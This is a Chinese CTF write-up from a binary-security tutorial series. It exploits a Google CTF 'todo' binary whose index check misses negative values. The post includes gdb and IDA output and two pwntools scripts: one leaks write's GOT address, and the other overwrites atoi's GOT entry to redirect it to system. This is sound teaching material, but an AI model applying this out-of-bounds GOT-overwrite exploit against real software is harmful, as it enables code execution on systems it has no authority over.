二进制安全之栈溢出(十一)
本文是 plt 和 got 表相关的漏洞利用实例,是 Google CTF 中的一道题,题目给了源码和 binary。
通过阅读代码,可以发现
1int idx = read_int();
2if (idx > TODO_COUNT) {
3 puts(OUT_OF_BOUNDS_MESSAGE);
4 return;
5}
6printf("What's your TODO? ");
7fflush(stdout);
8read_line(&todos[idx*TODO_LENGTH], TODO_LENGTH);
这里虽然检查了 idx
最大不能超过某个范围,但是没有检查小于零的情况,所以如果构造小于零的 idx
,就可以读取比 todos
数组地址还小的位置的内存了,同理,在 write_all
函数中,也可以任意的去写这个位置的内存。
todos
是一个全局变量,所以它的内存地址是确定的,是在 bss 段。因为 todos
的索引会乘以 TODO_LENGTH
,所以内存的读取是跳跃的,每次都相差 48 个字节。
使用 gdb 调试,set follow-fork-mode parent
然后 b main
p &todos
可以看到内存地址。
1gdb-peda$ p &todos
2$1 = (<data variable, no debug info> *) 0x555555757140 <todos>
在 IDA 中,也可以看到 todos
和 got
表距离也非常近,写一个小程序算一下
1base = 0x203140
2for i in range(10):
3 print hex(base - i * 48)
结合 IDA 的结果和计算输出的结果,可以标记出来一些有用的数据
10x203140 -> todos
20x203110
30x2030e0
40x2030b0
5 0x203088(非整数倍) -> atoi
60x203080 -> open
70x203050 -> strncat
80x203020 -> write
90x202ff0
100x202fc0
110x202f90
比如先读一下 write
的地址
1[-------------------------------------code-------------------------------------]
2 0x555555554900 <puts@plt>: jmp QWORD PTR [rip+0x202712] # 0x555555757018
3 0x555555554906 <puts@plt+6>: push 0x0
4 0x55555555490b <puts@plt+11>: jmp 0x5555555548f0
5=> 0x555555554910 <write@plt>: jmp QWORD PTR [rip+0x20270a] # 0x555555757020
6 | 0x555555554916 <write@plt+6>: push 0x1
7 | 0x55555555491b <write@plt+11>: jmp 0x5555555548f0
8 | 0x555555554920 <strlen@plt>: jmp QWORD PTR [rip+0x202702] # 0x555555757028
9 | 0x555555554926 <strlen@plt+6>: push 0x2
10 |-> 0x555555554916 <write@plt+6>: push 0x1
11 0x55555555491b <write@plt+11>: jmp 0x5555555548f0
12 0x555555554920 <strlen@plt>: jmp QWORD PTR [rip+0x202702] # 0x555555757028
13 0x555555554926 <strlen@plt+6>: push 0x2
14 JUMP is taken
15[------------------------------------stack-------------------------------------]
重新画一下数据分布图
10x555555757140 -> todos
20x555555757110
30x5555557570e0
40x5555557570b0
50x555555757080
60x555555757050
70x555555757020 => 0x555555554916 -> write@plt+6
由以前的知识就知道 0x555555757020
就是 write
的 got 表的地址,减去刚才已知的 todos
的位置,正好是 (0x555555757020 - 0x555555757140) / 48 == -6
。
可以先构造一个读取 write
的 got 表地址 exp
1from pwn import *
2from struct import unpack
3
4proc = process("./todo")
5proc.send("admin\n")
6proc.readuntil(">")
7proc.send("2\n")
8proc.readuntil("read?")
9proc.send("-6\n")
10res = proc.readuntil("Hi admin,").splitlines()[0]
11write_addr = res.split(':', 1)[1][1:].ljust(8, chr(0))
12write_addr = unpack("<Q", write_addr)[0]
13
14print hex(write_addr)
其中 <Q
是指定按照小端序读取 8 个字节作为一个数字。因为这时候 write 函数还没有被解析,所以 got 表中的 write
还是指向 write@plt+6
的。
剩下的步骤就简单多了,在 store_todo
函数中,可以将我们的输入写入 got 表的位置,所以应该是将 system@plt
的地址写入接下来要运行的参数可控的函数的 got 表的位置。发现 atoi
函数是一个选择,函数的偏移是确定的,system@plt
- write@plt+6
也就是 0x555555554940 - 0x555555554916 = 0x2a
(atoi@plt
的地址可以使用 info addr atoi@plt
获取,是在偏移 -4 再加 8 个字节)。
完整 exp 如下
1from pwn import *
2from struct import unpack, pack
3
4proc = process("./todo")
5proc.send("admin\n")
6proc.readuntil(">")
7proc.send("2\n")
8proc.readuntil("read?")
9proc.send("-6\n")
10res = proc.readuntil("Hi admin,").splitlines()[0]
11write_addr = res.split(':', 1)[1][1:].ljust(8, chr(0))
12write_addr = unpack("<Q", write_addr)[0]
13
14print hex(write_addr)
15
16proc.send("3\n")
17proc.readuntil("entry?")
18proc.send("-4\n")
19proc.readuntil("TODO?")
20proc.send("AAAAAAAA" + pack("<Q", write_addr + 0x2a)[:8] + "\n")
21
22proc.interactive()
参考
评论区
@zemal 2017-12-13
在学 pwn,资瓷一个qwq
评论区